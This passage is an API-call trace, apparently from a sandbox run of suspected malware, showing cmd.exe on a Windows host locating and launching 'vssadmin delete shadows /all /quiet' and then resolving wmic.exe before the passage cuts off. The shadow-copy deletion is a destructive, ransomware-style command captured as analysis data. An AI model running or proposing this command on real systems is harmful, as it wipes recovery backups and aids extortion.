(HeapHandle=0x680000, Flags=0x0, MemoryPointer=0x680ca0) returned 0x1b6 [0148.207] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0xa9f840, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0148.207] GetProcessHeap () returned 0x680000 [0148.207] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x8, Size=0xe0) returned 0x680e60 [0148.207] GetProcessHeap () returned 0x680000 [0148.207] RtlReAllocateHeap (Heap=0x680000, Flags=0x0, Ptr=0x680e60, Size=0x76) returned 0x680e60 [0148.207] GetProcessHeap () returned 0x680000 [0148.207] RtlSizeHeap (HeapHandle=0x680000, Flags=0x0, MemoryPointer=0x680e60) returned 0x76 [0148.208] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0148.208] FindFirstFileExW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\vssadmin.*", fInfoLevelId=0x1, lpFindFileData=0x1cf270, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1cf270) returned 0xffffffff [0148.208] GetLastError () returned 0x2 [0148.208] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0148.208] FindFirstFileExW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath\\vssadmin.*", fInfoLevelId=0x1, lpFindFileData=0x1cf270, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1cf270) returned 0xffffffff [0148.212] GetLastError () returned 0x2 [0148.212] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0148.212] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\vssadmin.*", fInfoLevelId=0x1, lpFindFileData=0x1cf270, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1cf270) returned 0x688350 [0148.212] GetProcessHeap () returned 0x680000 [0148.212] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x0, Size=0x14) returned 0x688390 [0148.212] FindClose (in: hFindFile=0x688350 | out: hFindFile=0x688350) returned 1 [0148.213] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\vssadmin.COM", fInfoLevelId=0x1, lpFindFileData=0x1cf270, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1cf270) returned 0xffffffff [0148.213] GetLastError () returned 0x2 [0148.213] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\vssadmin.EXE", fInfoLevelId=0x1, lpFindFileData=0x1cf270, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1cf270) returned 0x688350 [0148.213] GetProcessHeap () returned 0x680000 [0148.213] RtlReAllocateHeap (Heap=0x680000, Flags=0x0, Ptr=0x688390, Size=0x4) returned 0x688390 [0148.213] FindClose (in: hFindFile=0x688350 | out: hFindFile=0x688350) returned 1 [0148.214] _wcsicmp (_String1=".EXE", _String2=".BAT") returned 3 [0148.214] _wcsicmp (_String1=".EXE", _String2=".CMD") returned 2 [0148.214] ??_V@YAXPAX@Z () returned 0x1 [0148.214] GetConsoleTitleW (in: lpConsoleTitle=0x1cf774, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\System32\\cmd.exe") returned 0x1c [0148.546] InitializeProcThreadAttributeList (in: lpAttributeList=0x1cf6a0, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x1cf68c | out: lpAttributeList=0x1cf6a0, lpSize=0x1cf68c) returned 1 [0148.546] UpdateProcThreadAttribute (in: lpAttributeList=0x1cf6a0, dwFlags=0x0, Attribute=0x60001, lpValue=0x1cf688, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x1cf6a0, lpPreviousValue=0x0) returned 1 [0148.546] GetStartupInfoW (in: lpStartupInfo=0x1cf6d8 | out: lpStartupInfo=0x1cf6d8*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Windows\\System32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0)) [0148.546] GetProcessHeap () returned 0x680000 [0148.546] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x8, Size=0x18) returned 0x688350 [0148.546] _wcsnicmp (_String1="COPYCMD", _String2="=C:=C:\\", _MaxCount=0x7) returned 38 [0148.546] _wcsnicmp (_String1="COPYCMD", _String2="ALLUSER", _MaxCount=0x7) returned 2 [0148.546] _wcsnicmp (_String1="COPYCMD", _String2="APPDATA", _MaxCount=0x7) returned 2 [0148.546] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0148.546] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0148.546] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0148.546] _wcsnicmp (_String1="COPYCMD", _String2="COMPUTE", _MaxCount=0x7) returned 3 [0148.546] _wcsnicmp (_String1="COPYCMD", _String2="ComSpec", _MaxCount=0x7) returned 3 [0148.546] _wcsnicmp (_String1="COPYCMD", _String2="HOMEDRI", _MaxCount=0x7) returned -5 [0148.546] _wcsnicmp (_String1="COPYCMD", _String2="HOMEPAT", _MaxCount=0x7) returned -5 [0148.546] _wcsnicmp (_String1="COPYCMD", _String2="LOCALAP", _MaxCount=0x7) returned -9 [0148.547] _wcsnicmp (_String1="COPYCMD", _String2="LOGONSE", _MaxCount=0x7) returned -9 [0148.547] _wcsnicmp (_String1="COPYCMD", _String2="NUMBER_", _MaxCount=0x7) returned -11 [0148.547] _wcsnicmp (_String1="COPYCMD", _String2="OneDriv", _MaxCount=0x7) returned -12 [0148.547] _wcsnicmp (_String1="COPYCMD", _String2="OS=Wind", _MaxCount=0x7) returned -12 [0148.547] _wcsnicmp (_String1="COPYCMD", _String2="Path=C:", _MaxCount=0x7) returned -13 [0148.547] _wcsnicmp (_String1="COPYCMD", _String2="PATHEXT", _MaxCount=0x7) returned -13 [0148.547] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0148.547] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0148.547] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0148.547] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0148.547] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0148.547] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0148.547] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0148.547] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0148.547] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0148.547] _wcsnicmp (_String1="COPYCMD", _String2="PROMPT=", _MaxCount=0x7) returned -13 [0148.547] _wcsnicmp (_String1="COPYCMD", _String2="PSModul", _MaxCount=0x7) returned -13 [0148.547] _wcsnicmp (_String1="COPYCMD", _String2="PUBLIC=", _MaxCount=0x7) returned -13 [0148.547] _wcsnicmp (_String1="COPYCMD", _String2="SystemD", _MaxCount=0x7) returned -16 [0148.547] _wcsnicmp (_String1="COPYCMD", _String2="SystemR", _MaxCount=0x7) returned -16 [0148.547] _wcsnicmp (_String1="COPYCMD", _String2="TEMP=C:", _MaxCount=0x7) returned -17 [0148.547] _wcsnicmp (_String1="COPYCMD", _String2="TMP=C:\\", _MaxCount=0x7) returned -17 [0148.547] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18 [0148.547] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18 [0148.547] _wcsnicmp (_String1="COPYCMD", _String2="USERNAM", _MaxCount=0x7) returned -18 [0148.547] _wcsnicmp (_String1="COPYCMD", _String2="USERPRO", _MaxCount=0x7) returned -18 [0148.547] _wcsnicmp (_String1="COPYCMD", _String2="windir=", _MaxCount=0x7) returned -20 [0148.548] GetProcessHeap () returned 0x680000 [0148.548] RtlFreeHeap (HeapHandle=0x680000, Flags=0x0, BaseAddress=0x688350) returned 1 [0148.548] GetProcessHeap () returned 0x680000 [0148.548] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x8, Size=0xa) returned 0x688350 [0148.548] lstrcmpW (lpString1="\\vssadmin.exe", lpString2="\\XCOPY.EXE") returned -1 [0148.550] _get_osfhandle (_FileHandle=1) returned 0x90 [0148.550] SetConsoleMode (hConsoleHandle=0x90, dwMode=0x3) returned 1 [0148.689] _get_osfhandle (_FileHandle=0) returned 0x8c [0148.689] SetConsoleMode (hConsoleHandle=0x8c, dwMode=0x1f7) returned 1 [0148.893] CreateProcessW (in: lpApplicationName="C:\\WINDOWS\\system32\\vssadmin.exe", lpCommandLine="vssadmin delete shadows /all /quiet ", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Users\\FD1HVy\\Desktop", lpStartupInfo=0x1cf628*(cb=0x48, lpReserved=0x0, lpDesktop="WinSta0\\Default", lpTitle="vssadmin delete shadows /all /quiet ", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x1cf674 | out: lpCommandLine="vssadmin delete shadows /all /quiet ", lpProcessInformation=0x1cf674*(hProcess=0xe0, hThread=0xdc, dwProcessId=0xfa0, dwThreadId=0xf98)) returned 1 [0150.480] CloseHandle (hObject=0xdc) returned 1 [0150.480] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1 [0150.480] GetProcessHeap () returned 0x680000 [0150.480] RtlFreeHeap (HeapHandle=0x680000, Flags=0x0, BaseAddress=0x686e28) returned 1 [0150.480] GetEnvironmentStringsW () returned 0x686e28* [0150.480] GetProcessHeap () returned 0x680000 [0150.480] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x8, Size=0xb1a) returned 0x684da0 [0150.480] FreeEnvironmentStringsA (penv="=") returned 1 [0150.480] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0xffffffff) returned 0x0 [0158.766] GetExitCodeProcess (in: hProcess=0xe0, lpExitCode=0x1cf60c | out: lpExitCode=0x1cf60c*=0x2) returned 1 [0158.766] CloseHandle (hObject=0xe0) returned 1 [0158.767] _vsnwprintf (in: _Buffer=0x1cf6f4, _BufferCount=0x13, _Format="%08X", _ArgList=0x1cf614 | out: _Buffer="00000002") returned 8 [0158.767] SetEnvironmentVariableW (lpName="=ExitCode", lpValue="00000002") returned 1 [0158.767] GetProcessHeap () returned 0x680000 [0158.767] RtlFreeHeap (HeapHandle=0x680000, Flags=0x0, BaseAddress=0x684da0) returned 1 [0158.768] GetEnvironmentStringsW () returned 0x6883a0* [0158.768] GetProcessHeap () returned 0x680000 [0158.768] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x8, Size=0xb40) returned 0x684da0 [0158.768] FreeEnvironmentStringsA (penv="=") returned 1 [0158.768] SetEnvironmentVariableW (lpName="=ExitCodeAscii", lpValue=0x0) returned 1 [0158.768] GetProcessHeap () returned 0x680000 [0158.768] RtlFreeHeap (HeapHandle=0x680000, Flags=0x0, BaseAddress=0x684da0) returned 1 [0158.768] GetEnvironmentStringsW () returned 0x6883a0* [0158.768] GetProcessHeap () returned 0x680000 [0158.768] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x8, Size=0xb40) returned 0x684da0 [0158.768] FreeEnvironmentStringsA (penv="=") returned 1 [0158.768] GetProcessHeap () returned 0x680000 [0158.768] RtlFreeHeap (HeapHandle=0x680000, Flags=0x0, BaseAddress=0x688350) returned 1 [0158.768] DeleteProcThreadAttributeList (in: lpAttributeList=0x1cf6a0 | out: lpAttributeList=0x1cf6a0) [0158.768] ??_V@YAXPAX@Z () returned 0x1 [0158.768] GetConsoleTitleW (in: lpConsoleTitle=0x1cfba0, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\System32\\cmd.exe") returned 0x1c [0158.906] malloc (_Size=0xffce) returned 0x892718 [0158.906] ??_V@YAXPAX@Z () returned 0x1cf92c [0158.907] malloc (_Size=0xffce) returned 0x8a26f0 [0158.907] ??_V@YAXPAX@Z () returned 0x1cf6e4 [0158.907] _wcsicmp (_String1="wmic", _String2="DIR") returned 19 [0158.907] _wcsicmp (_String1="wmic", _String2="ERASE") returned 18 [0158.907] _wcsicmp (_String1="wmic", _String2="DEL") returned 19 [0158.907] _wcsicmp (_String1="wmic", _String2="TYPE") returned 3 [0158.907] _wcsicmp (_String1="wmic", _String2="COPY") returned 20 [0158.907] _wcsicmp (_String1="wmic", _String2="CD") returned 20 [0158.907] _wcsicmp (_String1="wmic", _String2="CHDIR") returned 20 [0158.907] _wcsicmp (_String1="wmic", _String2="RENAME") returned 5 [0158.907] _wcsicmp (_String1="wmic", _String2="REN") returned 5 [0158.907] _wcsicmp (_String1="wmic", _String2="ECHO") returned 18 [0158.907] _wcsicmp (_String1="wmic", _String2="SET") returned 4 [0158.907] _wcsicmp (_String1="wmic", _String2="PAUSE") returned 7 [0158.907] _wcsicmp (_String1="wmic", _String2="DATE") returned 19 [0158.907] _wcsicmp (_String1="wmic", _String2="TIME") returned 3 [0158.907] _wcsicmp (_String1="wmic", _String2="PROMPT") returned 7 [0158.907] _wcsicmp (_String1="wmic", _String2="MD") returned 10 [0158.907] _wcsicmp (_String1="wmic", _String2="MKDIR") returned 10 [0158.907] _wcsicmp (_String1="wmic", _String2="RD") returned 5 [0158.907] _wcsicmp (_String1="wmic", _String2="RMDIR") returned 5 [0158.907] _wcsicmp (_String1="wmic", _String2="PATH") returned 7 [0158.907] _wcsicmp (_String1="wmic", _String2="GOTO") returned 16 [0158.907] _wcsicmp (_String1="wmic", _String2="SHIFT") returned 4 [0158.907] _wcsicmp (_String1="wmic", _String2="CLS") returned 20 [0158.907] _wcsicmp (_String1="wmic", _String2="CALL") returned 20 [0158.907] _wcsicmp (_String1="wmic", _String2="VERIFY") returned 1 [0158.907] _wcsicmp (_String1="wmic", _String2="VER") returned 1 [0158.907] _wcsicmp (_String1="wmic", _String2="VOL") returned 1 [0158.907] _wcsicmp (_String1="wmic", _String2="EXIT") returned 18 [0158.907] _wcsicmp (_String1="wmic", _String2="SETLOCAL") returned 4 [0158.908] _wcsicmp (_String1="wmic", _String2="ENDLOCAL") returned 18 [0158.908] _wcsicmp (_String1="wmic", _String2="TITLE") returned 3 [0158.908] _wcsicmp (_String1="wmic", _String2="START") returned 4 [0158.908] _wcsicmp (_String1="wmic", _String2="DPATH") returned 19 [0158.908] _wcsicmp (_String1="wmic", _String2="KEYS") returned 12 [0158.908] _wcsicmp (_String1="wmic", _String2="MOVE") returned 10 [0158.908] _wcsicmp (_String1="wmic", _String2="PUSHD") returned 7 [0158.908] _wcsicmp (_String1="wmic", _String2="POPD") returned 7 [0158.908] _wcsicmp (_String1="wmic", _String2="ASSOC") returned 22 [0158.908] _wcsicmp (_String1="wmic", _String2="FTYPE") returned 17 [0158.908] _wcsicmp (_String1="wmic", _String2="BREAK") returned 21 [0158.908] _wcsicmp (_String1="wmic", _String2="COLOR") returned 20 [0158.908] _wcsicmp (_String1="wmic", _String2="MKLINK") returned 10 [0158.908] _wcsicmp (_String1="wmic", _String2="DIR") returned 19 [0158.908] _wcsicmp (_String1="wmic", _String2="ERASE") returned 18 [0158.908] _wcsicmp (_String1="wmic", _String2="DEL") returned 19 [0158.908] _wcsicmp (_String1="wmic", _String2="TYPE") returned 3 [0158.908] _wcsicmp (_String1="wmic", _String2="COPY") returned 20 [0158.908] _wcsicmp (_String1="wmic", _String2="CD") returned 20 [0158.908] _wcsicmp (_String1="wmic", _String2="CHDIR") returned 20 [0158.908] _wcsicmp (_String1="wmic", _String2="RENAME") returned 5 [0158.908] _wcsicmp (_String1="wmic", _String2="REN") returned 5 [0158.908] _wcsicmp (_String1="wmic", _String2="ECHO") returned 18 [0158.908] _wcsicmp (_String1="wmic", _String2="SET") returned 4 [0158.908] _wcsicmp (_String1="wmic", _String2="PAUSE") returned 7 [0158.908] _wcsicmp (_String1="wmic", _String2="DATE") returned 19 [0158.908] _wcsicmp (_String1="wmic", _String2="TIME") returned 3 [0158.908] _wcsicmp (_String1="wmic", _String2="PROMPT") returned 7 [0158.908] _wcsicmp (_String1="wmic", _String2="MD") returned 10 [0158.908] _wcsicmp (_String1="wmic", _String2="MKDIR") returned 10 [0158.908] _wcsicmp (_String1="wmic", _String2="RD") returned 5 [0158.908] _wcsicmp (_String1="wmic", _String2="RMDIR") returned 5 [0158.908] _wcsicmp (_String1="wmic", _String2="PATH") returned 7 [0158.908] _wcsicmp (_String1="wmic", _String2="GOTO") returned 16 [0158.908] _wcsicmp (_String1="wmic", _String2="SHIFT") returned 4 [0158.909] _wcsicmp (_String1="wmic", _String2="CLS") returned 20 [0158.909] _wcsicmp (_String1="wmic", _String2="CALL") returned 20 [0158.909] _wcsicmp (_String1="wmic", _String2="VERIFY") returned 1 [0158.909] _wcsicmp (_String1="wmic", _String2="VER") returned 1 [0158.909] _wcsicmp (_String1="wmic", _String2="VOL") returned 1 [0158.909] _wcsicmp (_String1="wmic", _String2="EXIT") returned 18 [0158.909] _wcsicmp (_String1="wmic", _String2="SETLOCAL") returned 4 [0158.909] _wcsicmp (_String1="wmic", _String2="ENDLOCAL") returned 18 [0158.909] _wcsicmp (_String1="wmic", _String2="TITLE") returned 3 [0158.909] _wcsicmp (_String1="wmic", _String2="START") returned 4 [0158.909] _wcsicmp (_String1="wmic", _String2="DPATH") returned 19 [0158.909] _wcsicmp (_String1="wmic", _String2="KEYS") returned 12 [0158.909] _wcsicmp (_String1="wmic", _String2="MOVE") returned 10 [0158.909] _wcsicmp (_String1="wmic", _String2="PUSHD") returned 7 [0158.909] _wcsicmp (_String1="wmic", _String2="POPD") returned 7 [0158.909] _wcsicmp (_String1="wmic", _String2="ASSOC") returned 22 [0158.909] _wcsicmp (_String1="wmic", _String2="FTYPE") returned 17 [0158.909] _wcsicmp (_String1="wmic", _String2="BREAK") returned 21 [0158.909] _wcsicmp (_String1="wmic", _String2="COLOR") returned 20 [0158.909] _wcsicmp (_String1="wmic", _String2="MKLINK") returned 10 [0158.909] _wcsicmp (_String1="wmic", _String2="FOR") returned 17 [0158.909] _wcsicmp (_String1="wmic", _String2="IF") returned 14 [0158.909] _wcsicmp (_String1="wmic", _String2="REM") returned 5 [0158.909] ??_V@YAXPAX@Z () returned 0x1 [0158.909] GetProcessHeap () returned 0x680000 [0158.909] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x8, Size=0xffd6) returned 0x699ab0 [0158.910] GetProcessHeap () returned 0x680000 [0158.910] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x8, Size=0x3a) returned 0x681010 [0158.910] _wcsnicmp (_String1="wmic", _String2="cmd ", _MaxCount=0x4) returned 20 [0158.910] malloc (_Size=0xffce) returned 0x8a26f0 [0158.910] ??_V@YAXPAX@Z () returned 0x1cf464 [0158.910] GetProcessHeap () returned 0x680000 [0158.911] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x8, Size=0x1ffa4) returned 0x6a9a90 [0158.912] SetErrorMode (uMode=0x0) returned 0x0 [0158.912] SetErrorMode (uMode=0x1) returned 0x0 [0158.913] GetFullPathNameW (in: lpFileName=".", nBufferLength=0xffce, lpBuffer=0x6a9a98, lpFilePart=0x1cf484 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop", lpFilePart=0x1cf484*="Desktop") returned 0x17 [0158.913] SetErrorMode (uMode=0x0) returned 0x1 [0158.913] GetProcessHeap () returned 0x680000 [0158.913] RtlReAllocateHeap (Heap=0x680000, Flags=0x0, Ptr=0x6a9a90, Size=0x42) returned 0x6a9a90 [0158.913] GetProcessHeap () returned 0x680000 [0158.913] RtlSizeHeap (HeapHandle=0x680000, Flags=0x0, MemoryPointer=0x6a9a90) returned 0x42 [0158.913] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0xa9f840, nSize=0x2000 | out: lpBuffer="C:\\ProgramData\\Oracle\\Java\\javapath;C:\\WINDOWS\\system32;C:\\WINDOWS;C:\\WINDOWS\\System32\\Wbem;C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\;C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\WindowsApps") returned 0xbb [0158.913] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0158.913] GetProcessHeap () returned 0x680000 [0158.913] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x8, Size=0x1b4) returned 0x681058 [0158.913] GetProcessHeap () returned 0x680000 [0158.913] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x8, Size=0x360) returned 0x6858e8 [0158.913] GetProcessHeap () returned 0x680000 [0158.913] RtlReAllocateHeap (Heap=0x680000, Flags=0x0, Ptr=0x6858e8, Size=0x1b6) returned 0x6858e8 [0158.913] GetProcessHeap () returned 0x680000 [0158.913] RtlSizeHeap (HeapHandle=0x680000, Flags=0x0, MemoryPointer=0x6858e8) returned 0x1b6 [0158.913] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0xa9f840, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0158.913] GetProcessHeap () returned 0x680000 [0158.913] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x8, Size=0xe0) returned 0x681388 [0158.913] GetProcessHeap () returned 0x680000 [0158.913] RtlReAllocateHeap (Heap=0x680000, Flags=0x0, Ptr=0x681388, Size=0x76) returned 0x681388 [0158.913] GetProcessHeap () returned 0x680000 [0158.913] RtlSizeHeap (HeapHandle=0x680000, Flags=0x0, MemoryPointer=0x681388) returned 0x76 [0158.913] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0158.913] FindFirstFileExW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\wmic.*", fInfoLevelId=0x1, lpFindFileData=0x1cf210, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1cf210) returned 0xffffffff [0158.914] GetLastError () returned 0x2 [0158.914] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0158.914] FindFirstFileExW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath\\wmic.*", fInfoLevelId=0x1, lpFindFileData=0x1cf210, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1cf210) returned 0xffffffff [0158.914] GetLastError () returned 0x2 [0158.914] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0158.914] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\wmic.*", fInfoLevelId=0x1, lpFindFileData=0x1cf210, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1cf210) returned 0xffffffff [0158.914] GetLastError () returned 0x2 [0158.914] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0158.915] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\wmic.*", fInfoLevelId=0x1, lpFindFileData=0x1cf210, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1cf210) returned 0xffffffff [0158.915] GetLastError () returned 0x2 [0158.915] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0158.915] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\System32\\Wbem\\wmic.*", fInfoLevelId=0x1, lpFindFileData=0x1cf210, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1cf210) returned 0x681408 [0159.183] FindClose (in: hFindFile=0x681408 | out: hFindFile=0x681408) returned 1 [0159.185] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\System32\\Wbem\\WMIC.COM", fInfoLevelId=0x1, lpFindFileData=0x1cf210, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1cf210) returned 0xffffffff [0159.186] GetLastError () returned 0x2 [0159.187] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\System32\\Wbem\\WMIC.EXE", fInfoLevelId=0x1, lpFindFileData=0x1cf210, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1cf210) returned 0x681408 [0159.188] FindClose (in: hFindFile=0x681408 | out: hFindFile=0x681408) returned 1 [0159.188] _wcsicmp (_String1=".EXE", _String2=".BAT") returned 3 [0159.188] _wcsicmp (_String1=".EXE", _String2=".CMD") returned 2 [0159.189] ??_V@YAXPAX@Z () returned 0x1 [0159.189] GetConsoleTitleW (in: lpConsoleTitle=0x1cf714, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\System32\\cmd.exe") returned 0x1c [0159.202] InitializeProcThreadAttributeList (in: lpAttributeList=0x1cf640, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x1cf62c | out: lpAttributeList=0x1cf640, lpSize=0x1cf62c) returned 1 [0159.203] UpdateProcThreadAttribute (in: lpAttributeList=0x1cf640, dwFlags=0x0, Attribute=0x60001, lpValue=0x1cf628, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x1cf640, lpPreviousValue=0x0) returned 1 [0159.203] GetStartupInfoW (in: lpStartupInfo=0x1cf678 | out: lpStartupInfo=0x1cf678*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Windows\\System32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0)) [0159.203] GetProcessHeap () returned 0x680000 [0159.203] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x8, Size=0x18) returned 0x681408 [0159.203] _wcsnicmp (_String1="COPYCMD", _String2="=C:=C:\\", _MaxCount=0x7) returned 38 [0159.203] _wcsnicmp (_String1="COPYCMD", _String2="=ExitCo", _MaxCount=0x7) returned 38 [0159.203] _wcsnicmp (_String1="COPYCMD", _String2="ALLUSER", _MaxCount=0x7) returned 2 [0159.203] _wcsnicmp (_String1="COPYCMD", _String2="APPDATA", _MaxCount=0x7) returned 2 [0159.203] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0159.203] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0159.203] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0159.203] _wcsnicmp (_String1="COPYCMD", _String2="COMPUTE", _MaxCount=0x7) returned 3 [0159.203] _wcsnicmp (_String1="COPYCMD", _String2="ComSpec", _MaxCount=0x7) returned 3 [0159.203] _wcsnicmp (_String1="COPYCMD", _String2="HOMEDRI", _MaxCount=0x7) returned -5 [0159.203] _wcsnicmp (_String1="COPYCMD", _String2="HOMEPAT", _MaxCount=0x7) returned -5 [0159.203] _wcsnicmp (_String1="COPYCMD", _String2="LOCALAP", _MaxCount=0x7) returned -9 [0159.203] _wcsnicmp (_String1="COPYCMD", _String2="LOGONSE", _MaxCount=0x7) returned -9 [0159.203] _wcsnicmp (_String1="COPYCMD", _String2="NUMBER_", _MaxCount=0x7) returned -11 [0159.203] _wcsnicmp (_String1="COPYCMD", _String2="OneDriv", _MaxCount=0x7) returned -12 [0159.203] _wcsnicmp (_String1="COPYCMD", _String2="OS=Wind", _MaxCount=0x7) returned -12 [0159.203] _wcsnicmp (_String1="COPYCMD", _String2="Path=C:", _MaxCount=0x7) returned -13 [0159.204] _wcsnicmp (_String1="COPYCMD", _String2="PATHEXT", _MaxCount=0x7) returned -13 [0159.204] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0159.204] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0159.204] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0159.204] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0159.204] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0159.204] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0159.204] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0159.204] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0159.204] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0159.204] _wcsnicmp (_String1="COPYCMD", _String2="PROMPT=", _MaxCount=0x7) returned -13 [0159.204] _wcsnicmp (_String1="COPYCMD", 